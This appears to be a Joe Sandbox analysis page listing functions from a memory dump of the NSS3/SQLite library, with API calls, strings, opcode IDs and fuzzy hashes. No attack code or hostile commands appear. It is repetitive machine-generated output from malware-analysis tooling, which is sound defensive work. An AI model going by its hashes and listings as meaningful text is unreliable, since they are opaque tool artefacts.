String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 4489a6ebae0de9898694521ad0266abef43713391084509d704806b3385d1002
Instruction ID: bf0720e9acb4f36865fba0339421de0035aa8c8a6eda6279966c27c994084761
Opcode Fuzzy Hash: 4489a6ebae0de9898694521ad0266abef43713391084509d704806b3385d1002
Instruction Fuzzy Hash: 46719F32F002954BEB108A6DC89039E73529F8DB54F250278C955BBFD3D7B18C4687C2

Function 6CD20B40 Relevance: 4.6, APIs: 3, Instructions: 92COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.NSS3(?,?,?,?), ref: 6CD20B7C
sqlite3_bind_double.NSS3 ref: 6CD20BF1
sqlite3_bind_zeroblob.NSS3(?,?,00000000), ref: 6CD20C27

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_bind_doublesqlite3_bind_int64sqlite3_bind_zeroblob
String ID:
API String ID: 4141409403-0
Opcode ID: 4cdb332a042222a62c1139e8c31333ba4367f7141fe6ab246b3bbd5d3d1c94bc
Instruction ID: 2fdb53b3a75610cfbbe897f0eec4e903e46d03ee2529438868a0841c9f941fd3
Opcode Fuzzy Hash: 4cdb332a042222a62c1139e8c31333ba4367f7141fe6ab246b3bbd5d3d1c94bc
Instruction Fuzzy Hash: A02178729485649FD7015F18CC2496BB7B9EF8A3BCF098254FA940B7A1EB34B801C7D2

Function 6CC264D0 Relevance: 3.2, Strings: 2, Instructions: 724COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CC26E3E
not authorized, xrefs: 6CC26D47, 6CC26D4C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: authorizer malfunction$not authorized
API String ID: 0-2411240822
Opcode ID: c93ae9e8c428368d8be4e5970becc17570354d8d3779afc60cf179841bbc280f
Instruction ID: 108263fd74a69a2a1aac0c77559bfdf504381978727cbc27d9e020aec8cf885d
Opcode Fuzzy Hash: c93ae9e8c428368d8be4e5970becc17570354d8d3779afc60cf179841bbc280f
Instruction Fuzzy Hash: 75628070E04604CFDB14CF19C484AA9BBF2FF49308F2581ADD9159B766E73AE856CB90

Function 6CC7EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC7F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CC7F0F9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: d52e58964e119d092ca0cebcedebc8508bab4aec0d7be8fd389118535a9642d7
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: FF917175A0461A8FCB24CF69C8D16AEB7F1FF85324F14462DD962A7BC0E730A905CB61

Function 6CCA2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CCC7929), ref: 6CCA2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CCC7929), ref: 6CCA2FE0

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 88cf5629c71e62587906232398dda4f6f58914b21b680b168d7eb6ddb5b76f78
Instruction ID: e8d3a45415816a19bf9c9acbf5c11eeb6b65c7cc60afe990e88ea72957deb903
Opcode Fuzzy Hash: 88cf5629c71e62587906232398dda4f6f58914b21b680b168d7eb6ddb5b76f78
Instruction Fuzzy Hash: 9651B3B1A049238FD7148EDBC8A8B6A73B1FB45318F2D4169D9099BB01F735E947CB81

Function 6CCC0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CCC1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CCC1086

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 92cc35ae0c97813c7ca776ce67a2f8edcbe62f12c278af87b92274cca79a2442
Instruction ID: 04f18c67da4d51f1c1c9cbbdb5ee964798ac5fbff422baee30236e4f11c770ab
Opcode Fuzzy Hash: 92cc35ae0c97813c7ca776ce67a2f8edcbe62f12c278af87b92274cca79a2442
Instruction Fuzzy Hash: 30A13CB1B0125A9FDF08CF9AC890AEEB7B6BF48314B148129E904A7700E735DD51CBA1

Function 6CBEAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CBEAE9F
winUnlock, xrefs: 6CBEAE18

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 1e85ae9c879281dc3a3175d9d9c9afbe4f00c178bfdd08119d5b1d4b4991fa59
Instruction ID: c8dabab1c975ba28f1c53858a6208e06c7a132e1ad073a99c762f72f7f499dbe
Opcode Fuzzy Hash: 1e85ae9c879281dc3a3175d9d9c9afbe4f00c178bfdd08119d5b1d4b4991fa59
Instruction Fuzzy Hash: 2A7170716082449FEB04CF28E890A6ABBF9FF89314F14CA1CEA4997751D730E985CBD1

Function 6CC149F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e0edd0179470a08d9a98e58657ee9922e521d186831b464f8246a38c3b0610
Instruction ID: f43acbcc2f6d4934e6bf82ee2cba19b2ee91d283e8cb735c14398fcb09456578
Opcode Fuzzy Hash: c5e0edd0179470a08d9a98e58657ee9922e521d186831b464f8246a38c3b0610
Instruction Fuzzy Hash: 10525C74E042098FDB04CF5AC480BAEBBF2FF89318F258159D815ABB55E735E942CB90

Function 6CCAED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CCAEE3D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: c68856cafdbeaeea0ebe665f2bbe82949c43638a1761b7bcb22cfb84e4f7c6ff
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: F071D272E017068FD718CF9AC88466AB7F2FB88304F15462DD85697B91E734E912CBD0

Function 6CBE4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CBE5125

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 9e8d6fb1c17122370f597c7055471469533167a9850fc8a741774e5ed60ff73c
Instruction ID: 9a2c9298bab8f242a75733e5bbb281b3d42b565dcadb088eeb908ee28722c553
Opcode Fuzzy Hash: 9e8d6fb1c17122370f597c7055471469533167a9850fc8a741774e5ed60ff73c
Instruction Fuzzy Hash: 3CE11AB0A08380CFEB04DF28E49465ABBF4FF89744F158A1DE98997751E7309985CF86

Function 6CC18960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: bd7084b7a58add3100ff7ac61116cb507c5540d2adb3c3ff455ba0c6c138d6a0
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: 62D17371F0D2168FDB48CEAAC490AAEB7F2FB85304F26856AC555E7E40E7309D41DB90

Function 6CC6A820 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54e171e0558fddb1763629e6bdddd964c7f886870c91152e63f86130c4eb65ff
Instruction ID: 046566f1e3f25d3738644f7745b0bbb452a17eed7dc0a1f9768af84efc80b9b3
Opcode Fuzzy Hash: 54e171e0558fddb1763629e6bdddd964c7f886870c91152e63f86130c4eb65ff
Instruction Fuzzy Hash: 63517471A01219CFDB04CF16D684B9A77F5FF89308F26806DE81A9BB51E730D855CB90

Function 6CC48EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f1e6d1687c0115bc728dd6e9c7de3445e860d1714d0f770822968883f8bfe04
Instruction ID: a8e0092ac514122afe5ec61f3a629e13bf4df0a502703a1f7b1fe798a545cec0
Opcode Fuzzy Hash: 4f1e6d1687c0115bc728dd6e9c7de3445e860d1714d0f770822968883f8bfe04
Instruction Fuzzy Hash: 1C11BF72A006159BE704DF25D884F5AB3B5BF42318F04C26AD905CFA42E775E886C7C5

Function 6CD20C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33bba67cca91c93b052a297ccca0339dcc0b3d7ed401f8d152882330452c8944
Instruction ID: 76464bcf4e6e412029edd483a4b55f164d70a8ef507bf16003a6d57a6cabc1a2
Opcode Fuzzy Hash: 33bba67cca91c93b052a297ccca0339dcc0b3d7ed401f8d152882330452c8944
Instruction Fuzzy Hash: C111BCB4604245CFDB04DF28C89066A7BA6EF853A8F148069D9198B711DB35E806CBA0

Function 6CC944C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190e32b475d140a7895e549af804bdfaba35e87434e7b094d0b27daaf263a6ca
Instruction ID: 5d418c5af7209d7993f04b0989848e7cdef30b27aec771a8a8bf7c64051a97c6
Opcode Fuzzy Hash: 190e32b475d140a7895e549af804bdfaba35e87434e7b094d0b27daaf263a6ca
Instruction Fuzzy Hash: 9311F7B6A002199F8B00CF99D8809EFBBF9EF8C664B554419ED19E7300D230ED118BE0

Function 6CD20D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 5b9183f4649a105c0c038887185e49bbf40ab6529ae129454f87d5b25dd55d60
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: E3E06D3A247058A7DB148F09C460BA97359DF8165DFA88079CE599BE01D637F8038791

Function 6CC4CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720c4b0c6082112d971236d0497914d24e3b7285485130ee3d25ce11bceacbe5
Instruction ID: 069aaa4f4ef598dd4753ae95ef3fcb5ef2d2976d2cb12b836a8b9e234feaaa82
Opcode Fuzzy Hash: 720c4b0c6082112d971236d0497914d24e3b7285485130ee3d25ce11bceacbe5
Instruction Fuzzy Hash: C2C04838244608CFC704DA08E4999A43BA8AB096107040098EA028B721DA21F800CA84

Function 6CD609D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CD60A22

Part of subcall function 6CD19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DC6
Part of subcall function 6CD19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DD1
Part of subcall function 6CD19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD19DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD60A35

Part of subcall function 6CC43810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC4382A
Part of subcall function 6CC43810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC43879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD60A66
PR_GetCurrentThread.NSS3 ref: 6CD60A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD60A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD60AC8
PR_vsmprintf.NSS3(?,?), ref: 6CD60AE8
EnterCriticalSection.KERNEL32(?), ref: 6CD60B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CD60B48
OutputDebugStringA.KERNEL32(?), ref: 6CD60B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD60C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD60C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD60C76
PR_LogFlush.NSS3 ref: 6CD60C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD60C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60C9C
OutputDebugStringA.KERNEL32(?), ref: 6CD60CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CD60D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD60D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CD60D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD60D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CD60D90
free.MOZGLUE(00000000), ref: 6CD60D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CD60A5B
%ld[%p]: , xrefs: 6CD60A96

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 5663344360502b48423f2feba7c4273133c61ee8ceba15adf1b13aa22deb3123
Instruction ID: 03bd15ef173faf2c1fddb3d20056cdc9ab9130f4346b5b12b304df2d230c76f5
Opcode Fuzzy Hash: 5663344360502b48423f2feba7c4273133c61ee8ceba15adf1b13aa22deb3123
Instruction Fuzzy Hash: 15A138B0A00254DFEF109B79DC88FAA3B7CAF52358F080694FA0593B51D771E954CB69

Function 6CC88BA0 Relevance: 51.0, APIs: 17, Strings: 12, Instructions: 202COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKeyPair), ref: 6CC88BC6
